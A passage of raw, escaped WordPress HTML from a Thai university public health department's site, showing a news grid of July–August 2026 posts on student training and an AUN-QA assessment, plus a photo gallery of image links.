https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/LINE_ALBUM_\u0e1b\u0e10\u0e21\u0e19\u0e34\u0e40\u0e17\u0e28_260806_4.jpg 1477w\" data-sizes=\"(max-width: 1024px) 100vw, 1024px\" src=\"data:image\/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==\" style=\"--smush-placeholder-width: 1024px; --smush-placeholder-aspect-ratio: 1024\/768;\" \/><noscript><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"768\" src=\"https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/LINE_ALBUM_\u0e1b\u0e10\u0e21\u0e19\u0e34\u0e40\u0e17\u0e28_260806_4-1024x768.jpg\" class=\"attachment-large size-large wp-post-image\" alt=\"\" srcset=\"https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/LINE_ALBUM_\u0e1b\u0e10\u0e21\u0e19\u0e34\u0e40\u0e17\u0e28_260806_4-1024x768.jpg 1024w, https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/LINE_ALBUM_\u0e1b\u0e10\u0e21\u0e19\u0e34\u0e40\u0e17\u0e28_260806_4-300x225.jpg 300w, https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/LINE_ALBUM_\u0e1b\u0e10\u0e21\u0e19\u0e34\u0e40\u0e17\u0e28_260806_4-16x12.jpg 16w, https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/LINE_ALBUM_\u0e1b\u0e10\u0e21\u0e19\u0e34\u0e40\u0e17\u0e28_260806_4.jpg 1477w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/noscript><\/a><\/div><div class=\"w-post-elm post_taxonomy usg_post_taxonomy_1 style_badge color_link_inherit\"><div class=\"w-post-elm-list\"><a class=\"w-btn us-btn-style_4 term-16 term-article\" href=\"https:\/\/ph.bru.ac.th\/en\/category\/article\/\"><span class=\"w-btn-label\">\u0e1a\u0e17\u0e04\u0e27\u0e32\u0e21<\/span><\/a><a class=\"w-btn us-btn-style_4 term-3 term-news\" href=\"https:\/\/ph.bru.ac.th\/en\/category\/news\/\"><span class=\"w-btn-label\">\u0e1b\u0e23\u0e30\u0e0a\u0e32\u0e2a\u0e31\u0e21\u0e1e\u0e31\u0e19\u0e18\u0e4c<\/span><\/a><a class=\"w-btn us-btn-style_4 term-17 term-event\" href=\"https:\/\/ph.bru.ac.th\/en\/category\/event\/\"><span class=\"w-btn-label\">\u0e20\u0e32\u0e1e\u0e01\u0e34\u0e08\u0e01\u0e23\u0e23\u0e21<\/span><\/a><\/div><\/div><\/div><div class=\"w-vwrapper usg_vwrapper_1 align_none valign_top\"><div class=\"w-hwrapper usg_hwrapper_1 has_text_color align_none valign_top wrap\"><time class=\"w-post-elm post_date usg_post_date_1 entry-date published\" datetime=\"2026-08-06T10:44:46+07:00\">6 August 2026<\/time><\/div><h2 class=\"w-post-elm post_title usg_post_title_1 entry-title color_link_inherit\"><a href=\"https:\/\/ph.bru.ac.th\/en\/2026\/08\/06\/\u0e1b\u0e10\u0e21\u0e19\u0e34\u0e40\u0e17\u0e28\u0e19\u0e31\u0e01\u0e28\u0e36\u0e01\u0e29\u0e32\u0e1d\u0e36\u0e01\u0e1b\u0e23\u0e30\/\">\u0e1b\u0e10\u0e21\u0e19\u0e34\u0e40\u0e17\u0e28\u0e19\u0e31\u0e01\u0e28\u0e36\u0e01\u0e29\u0e32\u0e1d\u0e36\u0e01\u0e1b\u0e23\u0e30\u0e2a\u0e1a\u0e01\u0e32\u0e23\u0e13\u0e4c\u0e27\u0e34\u0e0a\u0e32\u0e0a\u0e35\u0e1e \u0e2a\u0e32\u0e18\u0e32\u0e23\u0e13\u0e2a\u0e38\u0e02\u0e28\u0e32\u0e2a\u0e15\u0e23\u0e4c \u0e0a\u0e31\u0e49\u0e19\u0e1b\u0e35\u0e17\u0e35\u0e48 3<\/a><\/h2><\/div>\t\t<\/div>\r\n\t\t\t<\/article>\r\n\t<article class=\"w-grid-item size_1x1 post-3046 post type-post status-publish format-standard has-post-thumbnail hentry category-article category-news category-event\" data-id=\"3046\">\r\n\t\t<div class=\"w-grid-item-h\">\r\n\t\t\t\t\t\t<div class=\"w-vwrapper usg_vwrapper_2 align_none valign_top\"><div class=\"w-post-elm post_image usg_post_image_1 stretched\"><a href=\"https:\/\/ph.bru.ac.th\/en\/2026\/08\/04\/\ud83d\udce3-\u0e40\u0e15\u0e23\u0e35\u0e22\u0e21\u0e04\u0e27\u0e32\u0e21\u0e1e\u0e23\u0e49\u0e2d\u0e21\u0e2a\u0e39\u0e48\u0e01\u0e32\/\" aria-label=\"\ud83d\udce3 \u0e40\u0e15\u0e23\u0e35\u0e22\u0e21\u0e04\u0e27\u0e32\u0e21\u0e1e\u0e23\u0e49\u0e2d\u0e21\u0e2a\u0e39\u0e48\u0e01\u0e32\u0e23\u0e1b\u0e0f\u0e34\u0e1a\u0e31\u0e15\u0e34\u0e07\u0e32\u0e19\u0e08\u0e23\u0e34\u0e07! \u0e01\u0e49\u0e32\u0e27\u0e2a\u0e33\u0e04\u0e31\u0e0d\u0e02\u0e2d\u0e07\u0e27\u0e48\u0e32\u0e17\u0e35\u0e48\u0e19\u0e31\u0e01\u0e2a\u0e32\u0e18\u0e32\u0e23\u0e13\u0e2a\u0e38\u0e02 \ud83c\udf1f\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"768\" data-src=\"https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/S__43130892_0-1024x768.jpg\" class=\"attachment-large size-large wp-post-image lazyload\" alt=\"\" data-srcset=\"https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/S__43130892_0-1024x768.jpg 1024w, https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/S__43130892_0-300x225.jpg 300w, https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/S__43130892_0-16x12.jpg 16w, https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/S__43130892_0.jpg 2016w\" data-sizes=\"(max-width: 1024px) 100vw, 1024px\" src=\"data:image\/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==\" style=\"--smush-placeholder-width: 1024px; --smush-placeholder-aspect-ratio: 1024\/768;\" \/><noscript><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"768\" src=\"https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/S__43130892_0-1024x768.jpg\" class=\"attachment-large size-large wp-post-image\" alt=\"\" srcset=\"https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/S__43130892_0-1024x768.jpg 1024w, https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/S__43130892_0-300x225.jpg 300w, https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/S__43130892_0-16x12.jpg 16w, https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/08\/S__43130892_0.jpg 2016w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/noscript><\/a><\/div><div class=\"w-post-elm post_taxonomy usg_post_taxonomy_1 style_badge color_link_inherit\"><div class=\"w-post-elm-list\"><a class=\"w-btn us-btn-style_4 term-16 term-article\" href=\"https:\/\/ph.bru.ac.th\/en\/category\/article\/\"><span class=\"w-btn-label\">\u0e1a\u0e17\u0e04\u0e27\u0e32\u0e21<\/span><\/a><a class=\"w-btn us-btn-style_4 term-3 term-news\" href=\"https:\/\/ph.bru.ac.th\/en\/category\/news\/\"><span class=\"w-btn-label\">\u0e1b\u0e23\u0e30\u0e0a\u0e32\u0e2a\u0e31\u0e21\u0e1e\u0e31\u0e19\u0e18\u0e4c<\/span><\/a><a class=\"w-btn us-btn-style_4 term-17 term-event\" href=\"https:\/\/ph.bru.ac.th\/en\/category\/event\/\"><span class=\"w-btn-label\">\u0e20\u0e32\u0e1e\u0e01\u0e34\u0e08\u0e01\u0e23\u0e23\u0e21<\/span><\/a><\/div><\/div><\/div><div class=\"w-vwrapper usg_vwrapper_1 align_none valign_top\"><div class=\"w-hwrapper usg_hwrapper_1 has_text_color align_none valign_top wrap\"><time class=\"w-post-elm post_date usg_post_date_1 entry-date published\" datetime=\"2026-08-04T11:11:27+07:00\">4 August 2026<\/time><\/div><h2 class=\"w-post-elm post_title usg_post_title_1 entry-title color_link_inherit\"><a href=\"https:\/\/ph.bru.ac.th\/en\/2026\/08\/04\/\ud83d\udce3-\u0e40\u0e15\u0e23\u0e35\u0e22\u0e21\u0e04\u0e27\u0e32\u0e21\u0e1e\u0e23\u0e49\u0e2d\u0e21\u0e2a\u0e39\u0e48\u0e01\u0e32\/\">\ud83d\udce3 \u0e40\u0e15\u0e23\u0e35\u0e22\u0e21\u0e04\u0e27\u0e32\u0e21\u0e1e\u0e23\u0e49\u0e2d\u0e21\u0e2a\u0e39\u0e48\u0e01\u0e32\u0e23\u0e1b\u0e0f\u0e34\u0e1a\u0e31\u0e15\u0e34\u0e07\u0e32\u0e19\u0e08\u0e23\u0e34\u0e07! \u0e01\u0e49\u0e32\u0e27\u0e2a\u0e33\u0e04\u0e31\u0e0d\u0e02\u0e2d\u0e07\u0e27\u0e48\u0e32\u0e17\u0e35\u0e48\u0e19\u0e31\u0e01\u0e2a\u0e32\u0e18\u0e32\u0e23\u0e13\u0e2a\u0e38\u0e02 \ud83c\udf1f<\/a><\/h2><\/div>\t\t<\/div>\r\n\t\t\t<\/article>\r\n\t<article class=\"w-grid-item size_1x1 post-3030 post type-post status-publish format-standard has-post-thumbnail hentry category-article category-news category-event\" data-id=\"3030\">\r\n\t\t<div class=\"w-grid-item-h\">\r\n\t\t\t\t\t\t<div class=\"w-vwrapper usg_vwrapper_2 align_none valign_top\"><div class=\"w-post-elm post_image usg_post_image_1 stretched\"><a href=\"https:\/\/ph.bru.ac.th\/en\/2026\/07\/18\/\u0e40\u0e2a\u0e23\u0e47\u0e08\u0e2a\u0e34\u0e49\u0e19\u0e20\u0e32\u0e23\u0e01\u0e34\u0e08-\u0e01\u0e32\u0e23\u0e15\u0e23\u0e27\u0e08\/\" aria-label=\"\u0e40\u0e2a\u0e23\u0e47\u0e08\u0e2a\u0e34\u0e49\u0e19\u0e20\u0e32\u0e23\u0e01\u0e34\u0e08! \u0e01\u0e32\u0e23\u0e15\u0e23\u0e27\u0e08\u0e1b\u0e23\u0e30\u0e40\u0e21\u0e34\u0e19\u0e04\u0e38\u0e13\u0e20\u0e32\u0e1e\u0e01\u0e32\u0e23\u0e28\u0e36\u0e01\u0e29\u0e32 AUN-QA \u0e2a\u0e32\u0e02\u0e32\u0e27\u0e34\u0e0a\u0e32\u0e2a\u0e32\u0e18\u0e32\u0e23\u0e13\u0e2a\u0e38\u0e02\u0e28\u0e32\u0e2a\u0e15\u0e23\u0e4c \u0e21\u0e23\u0e20.\u0e1a\u0e38\u0e23\u0e35\u0e23\u0e31\u0e21\u0e22\u0e4c \u0e1b\u0e23\u0e30\u0e08\u0e33\u0e1b\u0e35 2568\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"544\" data-src=\"https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/07\/\u0e2a\u0e01\u0e23\u0e35\u0e19\u0e0a\u0e47\u0e2d\u0e15-2026-07-17-121818-1024x544.png\" class=\"attachment-large size-large wp-post-image lazyload\" alt=\"\" data-srcset=\"https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/07\/\u0e2a\u0e01\u0e23\u0e35\u0e19\u0e0a\u0e47\u0e2d\u0e15-2026-07-17-121818-1024x544.png 1024w, https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/07\/\u0e2a\u0e01\u0e23\u0e35\u0e19\u0e0a\u0e47\u0e2d\u0e15-2026-07-17-121818-300x159.png 300w, https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/07\/\u0e2a\u0e01\u0e23\u0e35\u0e19\u0e0a\u0e47\u0e2d\u0e15-2026-07-17-121818-18x10.png 18w, https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/07\/\u0e2a\u0e01\u0e23\u0e35\u0e19\u0e0a\u0e47\u0e2d\u0e15-2026-07-17-121818.png 1917w\" data-sizes=\"(max-width: 1024px) 100vw, 1024px\" src=\"data:image\/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==\" style=\"--smush-placeholder-width: 1024px; --smush-placeholder-aspect-ratio: 1024\/544;\" \/><noscript><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"544\" src=\"https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/07\/\u0e2a\u0e01\u0e23\u0e35\u0e19\u0e0a\u0e47\u0e2d\u0e15-2026-07-17-121818-1024x544.png\" class=\"attachment-large size-large wp-post-image\" alt=\"\" srcset=\"https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/07\/\u0e2a\u0e01\u0e23\u0e35\u0e19\u0e0a\u0e47\u0e2d\u0e15-2026-07-17-121818-1024x544.png 1024w, https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/07\/\u0e2a\u0e01\u0e23\u0e35\u0e19\u0e0a\u0e47\u0e2d\u0e15-2026-07-17-121818-300x159.png 300w, https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/07\/\u0e2a\u0e01\u0e23\u0e35\u0e19\u0e0a\u0e47\u0e2d\u0e15-2026-07-17-121818-18x10.png 18w, https:\/\/ph.bru.ac.th\/wp-content\/uploads\/2026\/07\/\u0e2a\u0e01\u0e23\u0e35\u0e19\u0e0a\u0e47\u0e2d\u0e15-2026-07-17-121818.png 1917w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/noscript><\/a><\/div><div class=\"w-post-elm post_taxonomy usg_post_taxonomy_1 style_badge color_link_inherit\"><div class=\"w-post-elm-list\"><a class=\"w-btn us-btn-style_4 term-16 term-article\" href=\"https:\/\/ph.bru.ac.th\/en\/category\/article\/\"><span class=\"w-btn-label\">\u0e1a\u0e17\u0e04\u0e27\u0e32\u0e21<\/span><\/a><a class=\"w-btn us-btn-style_4 term-3 term-news\" href=\"https:\/\/ph.bru.ac.th\/en\/category\/news\/\"><span class=\"w-btn-label\">\u0e1b\u0e23\u0e30\u0e0a\u0e32\u0e2a\u0e31\u0e21\u0e1e\u0e31\u0e19\u0e18\u0e4c<\/span><\/a><a class=\"w-btn us-btn-style_4 term-17 term-event\" href=\"https:\/\/ph.bru.ac.th\/en\/category\/event\/\"><span class=\"w-btn-label\">\u0e20\u0e32\u0e1e\u0e01\u0e34\u0e08\u0e01\u0e23\u0e23\u0e21<\/span><\/a><\/div><\/div><\/div><div class=\"w-vwrapper usg_vwrapper_1 align_none valign_top\"><div class=\"w-hwrapper usg_hwrapper_1 has_text_color align_none valign_top wrap\"><time class=\"w-post-elm post_date usg_post_date_1 entry-date published\" datetime=\"2026-07-18T09:44:44+07:00\">18 July 2026<\/time><\/div><h2 class=\"w-post-elm post_title usg_post_title_1 entry-title color_link_inherit\"><a href=\"https:\/\/ph.bru.ac.th\/en\/2026\/07\/18\/\u0e40\u0e2a\u0e23\u0e47\u0e08\u0e2a\u0e34\u0e49\u0e19\u0e20\u0e32\u0e23\u0e01\u0e34\u0e08-\u0e01\u0e32\u0e23\u0e15\u0e23\u0e27\u0e08\/\">\u0e40\u0e2a\u0e23\u0e47\u0e08\u0e2a\u0e34\u0e49\u0e19\u0e20\u0e32\u0e23\u0e01\u0e34\u0e08! \u0e01\u0e32\u0e23\u0e15\u0e23\u0e27\u0e08\u0e1b\u0e23\u0e30\u0e40\u0e21\u0e34\u0e19\u0e04\u0e38\u0e13\u0e20\u0e32\u0e1e\u0e01\u0e32\u0e23\u0e28\u0e36\u0e01\u0e29\u0e32 AUN-QA \u0e2a\u0e32\u0e02\u0e32\u0e27\u0e34\u0e0a\u0e32\u0e2a\u0e32\u0e18\u0e32\u0e23\u0e13\u0e2a\u0e38\u0e02\u0e28\u0e32\u0e2a\u0e15\u0e23\u0e4c \u0e21\u0e23\u0e20.\u0e1a\u0e38\u0e23\u0e35\u0e23\u0e31\u0e21\u0e22\u0e4c \u0e1b\u0e23\u0e30\u0e08\u0e33\u0e1b\u0e35 2568<\/a><\/h2><\/div>\t\t<\/div>\r\n\t\t\t<\/article>\r\n<\/div><div class=\"w-grid-preloader\">\t<div class=\"g-preloader type_1\">\r\n\t\t<div><\/div>\r\n\t<\/div>\r\n\t<\/div>\t<div class=\"w-grid-json hidden\" onclick='return {&quot;action&quot;:&quot;us_ajax_grid&quot;,&quot;infinite_scroll&quot;:0,&quot;max_num_pages&quot;:8,&quot;pagination&quot;:&quot;none&quot;,&quot;template_vars&quot;:{&quot;columns&quot;:&quot;3&quot;,&quot;exclude_items&quot;:&quot;prev&quot;,&quot;img_size&quot;:&quot;default&quot;,&quot;ignore_items_size&quot;:0,&quot;items_layout&quot;:&quot;1026&quot;,&quot;items_offset&quot;:&quot;1&quot;,&quot;load_animation&quot;:&quot;none&quot;,&quot;overriding_link&quot;:&quot;%7B%22url%22%3A%22%22%7D&quot;,&quot;post_id&quot;:0,&quot;query_args&quot;:{&quot;post_type&quot;:[&quot;post&quot;],&quot;post_status&quot;:[&quot;publish&quot;,&quot;acf-disabled&quot;],&quot;posts_per_page&quot;:&quot;6&quot;},&quot;orderby_query_args&quot;:{&quot;orderby&quot;:{&quot;date&quot;:&quot;DESC&quot;}},&quot;type&quot;:&quot;grid&quot;,&quot;us_grid_post_type&quot;:&quot;post&quot;,&quot;us_grid_ajax_index&quot;:1,&quot;us_grid_filter_params&quot;:[],&quot;us_grid_index&quot;:1,&quot;page_args&quot;:[]}}'><\/div>\r\n\t<\/div><div class=\"w-separator size_medium\"><\/div><div class=\"w-btn-wrapper align_right\"><a class=\"w-btn us-btn-style_6 icon_atright\" href=\"https:\/\/ph.bru.ac.th\/blog\/\"><span class=\"w-btn-label\">\u0e2d\u0e48\u0e32\u0e19\u0e02\u0e48\u0e32\u0e27\u0e17\u0e31\u0e49\u0e07\u0e2b\u0e21\u0e14<\/span><i class=\"fal fa-fal fa-arrow-right\"><\/i><\/a><\/div><\/div><\/div><\/div><\/div><\/div><\/section><section class=\"l-section wpb_row height_medium\"><div class=\"l-section-overlay\" style=\"background:#1d1e20\"><\/div><div class=\"l-section-h i-cf\"><div class=\"g-cols vc_row via_flex valign_top type_default stacking_default\"><div class=\"vc_col-sm-4 wpb_column vc_column_container\"><div class=\"vc_column-inner\"><div class=\"wpb_wrapper\"><h2 class=\"w-text us_custom_dc7241b6 has_text_color\"><span class=\"w-text-h\"><span class=\"w-text-value\">\u0e04\u0e25\u0e31\u0e07\u0e20\u0e32\u0e1e<\/span><\/span><\/h2><h3 class=\"w-text us_custom_6a7ac0e1 has_text_color\"><span class=\"w-text-h\"><span class=\"w-text-value\"><\/span><\/span><\/h3><div class=\"w-text us_custom_b4ad676d has_text_color\"><span class=\"w-text-h\"><span class=\"w-text-value\">\u0e20\u0e32\u0e1e\u0e16\u0e48\u0e32\u0e22\u0e40\u0e01\u0e35\u0e48\u0e22\u0e27\u0e01\u0e31\u0e1a\u0e2a\u0e32\u0e02\u0e32\u0e27\u0e34\u0e0a\u0e32 \u0e01\u0e34\u0e08\u0e01\u0e23\u0e23\u0e21\u0e15\u0e48\u0e32\u0e07\u0e46\u0e17\u0e35\u0e48\u0e40\u0e01\u0e35\u0e48\u0e22\u0e27\u0e02\u0e49\u0e2d\u0e07 \u0e23\u0e27\u0e21\u0e16\u0e36\u0e07\u0e20\u0e32\u0e1e\u0e2d\u0e37\u0e48\u0e19\u0e46 \u0e40\u0e0a\u0e48\u0e19 \u0e1a\u0e23\u0e23\u0e22\u0e32\u0e01\u0e32\u0e28\u0e01\u0e32\u0e23\u0e40\u0e23\u0e35\u0e22\u0e19\u0e01\u0e32\u0e23\u0e2a\u0e2d\u0e1a \u0e20\u0e32\u0e1e\u0e20\u0e39\u0e21\u0e34\u0e17\u0e31\u0e28\u0e19\u0e4c\u0e02\u0e2d\u0e07\u0e2a\u0e32\u0e02\u0e32\u0e27\u0e34\u0e0a\u0e32<\/span><\/span><\/div><div class=\"w-separator size_small\"><\/div><div class=\"w-btn-wrapper align_none\"><a class=\"w-btn us-btn-style_6 icon_atright\" href=\"https:\/\/ph.bru.ac.th\/about\/gallery\/\"><span class=\"w-btn-label\">\u0e14\u0e39\u0e40\u0e1e\u0e34\u0e48\u0e21\u0e40\u0e15\u0e34\u0e21<\/span><i class=\"fal fa-fal fa-arrow-right\"><\/i><\/a><\/div><\/div><\/div><\/div><div class=\"vc_col-sm-8 wpb_column vc_column_container\"><div class=\"vc_column-inner\"><div class=\"wpb_wrapper\"><div id=\"jig1\" class=\"justified-image-grid jig-7da2ae58c9894eec8b0481ff77c9438e jig-preset-global jig-source-nextgen\"><div class=\"jig-clearfix\"><\/div><noscript id=\"jig1-html\" class=\"justified-image-grid-html\" data-lazy-src=\"skiplazyload\" data-src=\"skipunveillazyload\"><ul><li><a href=\"https:\/\/ph.bru.ac.th\/wp-content\/gallery\/index-1\/1_9b557bca-9b6d-4ed5-86ad-7fd28017f650-1.jpg\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/ph.bru.ac.th\/wp-content\/gallery\/index-1\/1_9b557bca-9b6d-4ed5-86ad-7fd28017f650-1.jpg\" alt=\"1_9b557bca-9b6d-4ed5-86ad-7fd28017f650-1\" width=\"511\" height=\"230\" \/><\/a><p class=\"jig-HTMLdescription\">1_9b557bca-9b6d-4ed5-86ad-7fd28017f650-1<\/p><\/li><li><a href=\"https:\/\/ph.bru.ac.th\/wp-content\/gallery\/index-1\/1_462555458_418175674691121_3287142270849199234_n.jpg\" title=\"1_462555458_418175674691121_3287142270849199234_n\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/ph.bru.ac.th\/wp-content\/gallery\/index-1\/1_462555458_418175674691121_3287142270849199234_n.jpg\" alt=\"1_462555458_418175674691121_3287142270849199234_n\" width=\"172\" height=\"230\" \/><\/a><p class=\"jig-HTMLdescription\">1_462555458_418175674691121_3287142270849199234_n<\/p><\/li><li><a href=\"https:\/\/ph.bru.ac.th\/wp-content\/gallery\/index-1\/1_462536240_2317242608644046_5693570582553194726_n.jpg\" title=\"1_462536240_2317242608644046_5693570582553194726_n\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/ph.bru.ac.th\/wp-content\/gallery\/index-1\/1_462536240_2317242608644046_5693570582553194726_n.jpg\" alt=\"1_462536240_2317242608644046_5693570582553194726_n\" width=\"306\" height=\"230\" \/><\/a><p class=\"jig-HTMLdescription\">1_462536240_2317242608644046_5693570582553194726_n<\/p><\/li><li><a href=\"https:\/\/ph.bru.ac.th\/wp-content\/gallery\/index-1\/1_462537724_1116086300035555_5963048860060188018_n.jpg\" title=\"1_462537724_1116086300035555_5963048860060188018_n\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/ph.bru.ac.th\/wp-content\/gallery\/index-1\/1_462537724_1116086300035555_5963048860060188018_n.jpg\" alt=\"1_462537724_1116086300035555_5963048860060188018_n\" width=\"306\" height=\"230\" \/><\/a><p class=\"jig-HTMLdescription\">1_462537724_1116086300035555_5963048860060188018_n<\/p><\/li><li><a href=\"https:\/\/ph.bru.ac.th\/wp-content\/gallery\/index-1\/1_462568319_1621866048429489_1512920034066070878_n.jpg\" title=\"1_462568319_1621866048429489_1512920034066070878_n\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/ph.bru.ac.th\/wp-content\/gallery\/index-1\/1_462568319_1621866048429489_1512920034066070878_n.jpg\" alt=\"1_462568319_1621866048429489_1512920034066070878_n\" width=\"306\" height=\"230\" \/><\/a><p class=\"jig-HTMLdescription\">1_462568319_1621866048429489_1512920034066070878_n<\/p><\/li><li><a href=\"https:\/\/ph.bru.ac.th\/wp-content\/gallery\/index-1\/1_462566798_894108666180942_4284859552740623193_n.jpg\" title=\"1_462566798_894108666180942_4284859552740623193_n\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/ph.bru.ac.th\/wp-content\/gallery\/index-1\/1_462566798_894108666180942_4284859552740623193_n.jpg\" alt=\"1_462566798_894108666180942_4284859552740623193_n\" width=\"306\" height=\"230\" \/><\/a><p class=\"jig-HTMLdescription\">1_462566798_894108666180942_4284859552740623193_n<\/p><\/li><li><a href=\"https:\/\/ph.bru.ac.th\/wp-content\/gallery\/index-1\/1_S__246521861_0-scaled.jpg\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/ph.bru.ac.th\/wp-content\/gallery\/index-1\/1_S__246521861_0-scaled.jpg\" alt=\"1_S__246521861_0-scaled\" width=\"172\" height=\"230\" \/><\/a><p class=\"jig-HTMLdescription\">1_S__246521861_0-scaled<\/p><\/li><li><a href=\"https:\/\/ph.bru.ac.th\/wp-content\/gallery\/index-1\/1_S__246521865_0-scaled.jpg\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/ph.bru.ac.th\/wp-content\/gallery\/index-1\/1_S__246521865_0-scaled.jpg\" alt=\"1_S__246521865_0-scaled\" width=\"306\" height=\"230\" \/><\/a><p class=\"jig-HTMLdescription\">1_S__246521865_0-scaled<\/p><\/li><li><a href=\"https:\/\/ph.bru.ac.th\/wp-content\/gallery\/index-1\/462541592_1285395705964670_1219895324642802411_n.jpg\" title=\"462541592_1285395705964670_1219895324642802411_n\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/ph.bru.ac.th\/wp-content\/gallery\/index-1\/462541592_1285395705964670_1219895324642802411_n.jpg\" alt=\"462541592_1285395705964670_1219895324642802411_n\" width=\"306\" height=\"230\" \/><\/a><p class=\"jig-HTMLdescription\">462541592_1285395705964670_1219895324642802411_n<\/p><\/li><li><a href=\"https:\/\/ph.bru.ac.th\/wp-content\/gallery\/index-1\/473902774_1406772677396331_3804844421370969490_n.jpg\" title=\"473902774_1406772677396331_3804844421370969490_n\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/ph.bru.ac.th\/wp-content\/gallery\/index-1\/473902774_1406772677396331_3804844421370969490_n.jpg\" alt=\"473902774_1406772677396331_3804844421370969490_n\" width=\"306\" height=\"230\" \/><\/a><p class=\"jig-HTMLdescription\">473902774_1406772677396331_3804844421370969490_n<\/p><\/li><li><a href=\"https:\/\/ph.bru.ac.th\/wp-content\/gallery\/index-1\/474454029_1395650988277703_4429154131396222487_n.jpg\" title=\"474454029_1395650988277703_4429154131396222487_n\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/ph.bru.ac.th\/wp-content\/gallery\/index-1\/474454029_1395650988277703_4429154131396222487_n.jpg\" alt=\"474454029_1395650988277703_4429154131396222487_n\" width=\"172\" height=\"230\" \/><\/a><p class=\"jig-HTMLdescription\">474454029_1395650988277703_4429154131396222487_n<\/p><\/li><li><a href=\"https:\/\/ph.bru.ac.th\/wp-content\/gallery\/index-1\/473782568_1330298108175070_3448640045233467740_n.jpg\" title=\"473782568_1330298108175070_3448640045233467740_n\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/ph.bru.ac.th\/wp-content\/gallery\/index-1\/473782568_1330298108175070_3448640045233467740_n.jpg\" alt=\"473782568_1330298108175070_3448640045233467740_n\" width=\"306\" height=\"230\" \/><\/a><p class=\"jig-HTMLdescription\">473782568_1330298108175070_3448640045233467740_n<\/p><\/li><li><a href=\"https:\/\/ph.bru.ac.th\/wp-content\/gallery\/index-1\/474199486_3508526346119495_4439913077411811331_n.jpg\" title=\"474199486_3508526346119495_4439913077411811331_n\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/ph.bru.ac.th\/wp-content\/gallery\/index-1\/474199486_3508526346119495_4439913077411811331_n.jpg\" alt=\"474199486_3508526346119495_4439913077411811331_n\" width=\"306\" height=\"230\" \/><\/a><p class=\"jig-HTMLdescription\">474199486_3508526346119495_4439913077411811331_n<\/p><\/li><li><a href=\"https:\/\/ph.bru.ac.th\/wp-content\/gallery\/index-1\/472788013_1026680366144900_2543213114660113928_n.jpg\" title=\"472788013_1026680366144900_2543213114660113928_n\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/ph.bru.ac.th\/wp-content\/gallery\/index-1\/472788013_1026680366144900_2543213114660113928_n.jpg\" alt=\"472788013_1026680366144900_2543213114660113928_n\" width=\"306\" height=\"230\" \/><\/a><p class=\"jig-HTMLdescription\">472788013_1026680366144900_2543213114660113928_n<\/p><\/li><li><a href=\"https:\/\/ph.bru.ac.th\/wp-content\/gallery\/index-1\/474153849_1319954072766632_1959398560181154969_n.jpg\" title=\"474153849_1319954072766632_1959398560181154969_n\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/ph.bru.ac.th\/wp-content\/gallery\/index-1\/474153849_1319954072766632_1959398560181154969_n.jpg\" alt=\"474153849_1319954072766632_1959398560181154969_n\" width=\"306\" height=\"230\" \/><\/a><p class=\"jig-HTMLdescription\">474153849_1319954072766632_1959398560181154969_n<\/p><\/li><li><a href=\"https:\/\/ph.bru.ac.th\/wp-content\/gallery\/index-1\/474062720_3913229882226576_699684738148989298_n.jpg\" title=\"474062720_3913229882226576_699684738148989298_n\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/ph.bru.ac.th\/wp-content\/gallery\/index-1\/474062720_3913229882226576_699684738148989298_n.jpg\" alt=\"474062720_3913229882226576_699684738148989298_n\" width=\"306\" height=\"230\" \/><\/a><p class=\"jig-HTMLdescription\">474062720_3913229882226576_699684738148989298_n<\/p><\/li><li><a 